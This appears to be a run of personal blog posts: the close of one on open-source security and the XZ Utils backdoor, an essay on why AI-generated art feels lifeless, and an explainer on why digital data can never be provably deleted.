Over 6,000 Internet-exposed deployments were found to be vulnerable. But rather than increasing support, the Kubernetes maintainers decided it wasn’t worth the risk and effort to keep the project alive. Once again, the lesson is clear: critical open-source infrastructure used by thousands of corporations can be built and maintained by a handful of unpaid contributors, until it becomes too much. Then it’s deprecated, not resourced. ## Conclusion This post has taken a critical view of open-source security. Not because open source is inherently less secure than proprietary software, but because the usual arguments in its defence are often incomplete. Open source is invaluable, and the ability to inspect source code is essential in high-security environments. But this benefit only emerges if the code is actually reviewed, ideally by multiple independent teams with the expertise and time to do it properly. Open source _can_ be more secure than closed source, but openness does not automatically grant security. In some scenarios, the dynamics of volunteer maintainership, complex dependency chains, and informal release processes can make open-source projects more vulnerable to certain attack classes. The XZ Utils backdoor is one of these examples: the attack succeeded not because the code was visible, but because _no one was looking_. By contrast, a supply-chain compromise like the Jia Tan case is far less likely (or even outright impossible) in an environment of proprietary software developed entirely in-house by a tightly controlled team; the “trusted volunteer” attack path simply does not exist. However, proprietary software also has its own risks: insider threats, opaque codebases, and vulnerabilities that may remain undiscovered for years because no one outside the vendor can audit them. At the end of the day, security comes from scrutiny, resources, discipline, and the complex and invaluable work of people who actually read, test, and verify the systems we depend on, and not from the release model of the software.

I think I am starting to understand the deal with AI “art”. Or at a minimum, I am beginning to understand why AI “art” feels so “AI”, so devoid of soul, lifeless. It began with six fingers, confusing lines for hair, and incorrect perspective and shadows. It got refined over time, and nowadays it is just too good. It is perfect, visually. Flawless. Ethics aside, that is. However, that is somewhat the issue: it is overly good. It is good in the same way that a photograph is more realistic than an oil painting of the same scene. Yes, the camera captures more detail and is more accurate. But that is not what art is about. Art is about the process. Sometimes, I see pictures that look flawless; impeccably drawn lineart, perfect proportions, and great shading, but they lack “life.” Nobody draws this well, and it’s not even necessary to draw well. We furries have become accustomed to digital art, especially. And for sure, there are more skilled and experienced artists than others. But I think that, beyond an understanding of anatomy and a dexterous hand, art can be so much more than “lifelike” accuracy. Each artist has a very distinctive drawing style. The characters they draw look a specific way. The shading they apply has their recognisable style, their lineart has a distinct thickness, and their colour palette is unique. Four different artists drew these four pieces. Some took more effort and time than others. Some have more detail than others. But are any “better” than the other? I think it would be too reductionist to conclude this. Each artist has a particular style, and that is fine. But AI? AI “art” has no particular style. It has all styles, and none at the same time. It either has catastrophic shading, anatomy, or physics mistakes, or it is absolutely flawless and perfect. The same goes for video games. Actually, I consider video games to be a form of art. But the point remains: I’m sure AI art can generate realistic, lifelike texture assets. But video games are so much more than mere “realism”. One of the most popular games of all time, Ultrakill, from a developer nobody has heard of, looks like this. It sure is not realistic. AI could do a much better job on the textures. But that’s not why this game is popular. Crysis 1, released nearly two decades ago, has much better graphics. The game was praised for its visuals, but its story and gameplay received little recognition. There are many ways to make art, video games, poetry, and more. And being “perfect” and “flawless” is not necessarily a desirable trait. This is not an isolated case: Beat Saber, Minecraft, Terraria, Super Meat Boy, Undertale, “Papers, please”, the list can go on. All indie games, all widely known, all with less-than-realistic graphics, all internationally acclaimed. Successful, possibly not just despite their inferior graphics, but precisely because of their inferior graphics. The Ensō is an excellent representation of this very concept. It is an imperfect circle. A computer could draw a much better circle. Hell, it is not even closed; there’s a gap. What kind of shitty circle is that?! Ensō’s aim is not to simply represent a circle; rather, it serves as a gentle reminder of both perfection and imperfection. The Ensō encompasses both perfection and imperfection. It is simultaneously a circle and not a circle, illustrating the concept of non-duality, which is also represented by yin and yang. And I think it is an essential concept as we march full steam ahead into the age of automation and commodification of human intellectual labour.

You cannot prove the absence of data—you can only prove the presence of data. You also cannot prove if a particular piece of data was copied, or whether a specific digital object is an original or a copy. This situation applies to information theory, and more specifically computer science. In the non-digital world, for example, you can destroy physical paper documents up to a certain standard [archived version], and, depending on the effort involved in this destruction, recovery might prove difficult or even impossible (for example, if you chemically destroy those documents, or set them on fire). The closest example to destruction of physical paper documents in digital environments are various implementations of data erasure mechanisms. There are standards such as the “Gutmann method”, that specify an algorithm for securely erasing the contents of an entire hard disk, but this assumes there are no copies of the data to destroy, which are **perfect** and nearly impossible to prevent. ## Perfection (in a mathematical context) Perfection in this context refers to digital environments. In analogue environments, perfect copies don’t exist. There are concepts such as “an orange”, but no two oranges are ever identical. Or apples. Or snowflakes. Each specimen will have its own shape, weight, colour variations, volume, and such. If you take a picture of an orange, print it, and then scan it, and print the scan again, the copy is not identical to the original print. Every time information is materialised into the analogue world, a portion of it is lost. This is natural. But in a digital environment, you can copy the JPEG file of the orange 10,000 times, and the 10,000th copy will be identical to the first. We can say that analogue copies are “lossy”, while digital copies are “lossless”. ### Copy and compute At their core, computers really can only do a very limited range of operations: they can **copy data** , and they can **perform calculations**. “Surely there are more things a computer can do?” you may ask. Fundamentally, no. Let’s explore some examples: 1. Displaying a picture on a monitor: that is a **copy**. The image is stored as a file on a storage medium, such as a hard disk, and then copied from the hard disk into the screen buffer. Actually, it is copied several times: First to the RAM, then to the VRAM; the GPU then copies the information from its VRAM into the output pins of the cable; and finally, the screen copies the data from the input pins of the cable into its own memory. In some cases, additional **calculations** are performed when the picture is compressed in formats like JPEG or PNG. 2. Sending a chat message: this is a **copy**. As you type, the keys are copied into memory, then displayed on the screen in the order you type them. Once you click “send”, the message is copied from the memory into the ethernet cables and sent off to its destination. If we’re using encrypted messaging, additional **calculations** are performed before sending the message. 3. Taking a picture with a camera: this is a **copy**. The camera is equipped with sensors that are able to capture photons coming in. When you press the shutter button, the camera will, very quickly, take the information registered in the sensor, and copy it to memory, to make a digital file. Here, we’re interacting with the analogue world as input. Additional **calculations** are performed at this step for compressing the file before saving it to a permanent storage medium. 4. Playing music: would you be surprised if I said this is a **copy**? The digital file represents a sound wave as a sequence of discrete positions, but sound waves are actually continuous; they’re just vibrations. Depending on how quickly air molecules vibrate, we can generate different tones. We use this to our advantage through a complex system of speakers and membranes of different sizes that can make the air vibrate at various frequencies, and we hear those vibrations. Additional **calculations** are performed in the case of compressed files; you know the drill. I could go on, but I hope you get the idea by now. This is the most fundamental expression of information theory: At a fundamental level, most computer actions boil down to moving and transforming bits; logically irreversible erasure is possible, but it is not possible to prove whether other copies exist in an open system. Then, deleting arbitrary instances of data is, strictly speaking, possible, but it is impossible to prove the deletion of a concept such as a specific picture or music file actually took place, because that concept will continue to exist for as long as copies remain somewhere, which, as explained before, are perfect, and impossible to detect. ## So, how does file deletion work? Would you be surprised to learn that right-clicking a file and then selecting “delete” doesn’t actually delete the file physically? No, I’m not talking about sending it to the recycle bin. When you execute the “delete” action on a file, your file manager only marks it as deleted. Internally, this means the filesystem finds the physical space on the surface of the hard disk (or the cells of an SSD), and marks down this section as available. For all intents and purposes, new data could potentially be allocated in this now available space, but it is not defined how long this available space will remain unmodified. Until the moment this space is actually utilised, the storage medium continues to keep old data around. Once the file is marked as deleted, recovery is difficult or even impossible, depending on the state of the data. Typically, deleted data can be recovered if the storage is not in use for an extended period after the data is deleted. For example, suppose you delete a file, shut down immediately, and attempt recovery. In that case, you have a better chance of recovery than if you continue using the computer for one hour or one year after the file deletion. The two most common methods for destruction of digital data are overwriting empty areas with random garbage and physically destroying the drive. With full-disk encryption, we can further optimise deletion by overwriting the encryption header and discarding the encryption key. Still, the principle is the same as overwriting the entire disk’s surface. This works because data encrypted with well-designed encryption algorithms appear to be completely random to anyone who doesn’t have the key to decrypt them. “Aha! So data deletion does exist! Just overwrite empty areas with zeros!”. Close, but not quite. What you are doing when overwriting data is merely copying data from one source to the storage medium. If you copy all zeros or random bits of data obtained from entropically secure sources, it doesn’t matter; the principle in question here is copy, not deletion. But let’s go one level deeper. If you think about it, the data to delete exists in the storage medium, right? And how do you interface with this storage medium? Well, assuming this is a SATA flash drive: **SATA doesn ’t even have a “delete” command**. For file manipulation, it has a “read” command, which, if you recall from above, merely copies the data from the storage cell into the physical SATA pins, so the operating system can access the requested information. It also has a “write” command that operates in the opposite direction: reading from the pins and copying that to the storage cell. The mechanism for SATA hard disks (mechanical, or spinning) is similar, although instead of “cells”, hard disks use sectors, but those are physical implementation details that don’t change the nature of deletion. So for file deletion, this command only exists at the filesystem level. The filesystem is responsible for mapping out the physical layout of the disk and making it available to the OS in a logical way that is able to store data. When a file is deleted, the filesystem just “forgets” about it, and marks the place it used to reside in as unoccupied. Because of the above, it is plausible for a SATA device to be made to transparently keep a copy of every single block, even when the operating system orders the disk to overwrite it with new data. The disk would keep the current state in its storage controller, presenting to the operating system exactly what it expects, but in the background it could very well be keeping a copy of every file operation, and not actually overwriting new blocks with data when instructed, but just allocating new blocks. ## Conclusion You cannot trust a digital system to: 1. Keep your information safe and secure, preventing copies. 2. Permanently delete any given piece of data. That is why, among other reasons, sensitive pieces of data like recovery keys, cryptocurrency private keys, or signing keys are recommended to be kept offline, especially if you can write them down with pen and paper and store them in a safe deposit box, or are handled by dedicated hardware encryption devices that cost thousands of dollars.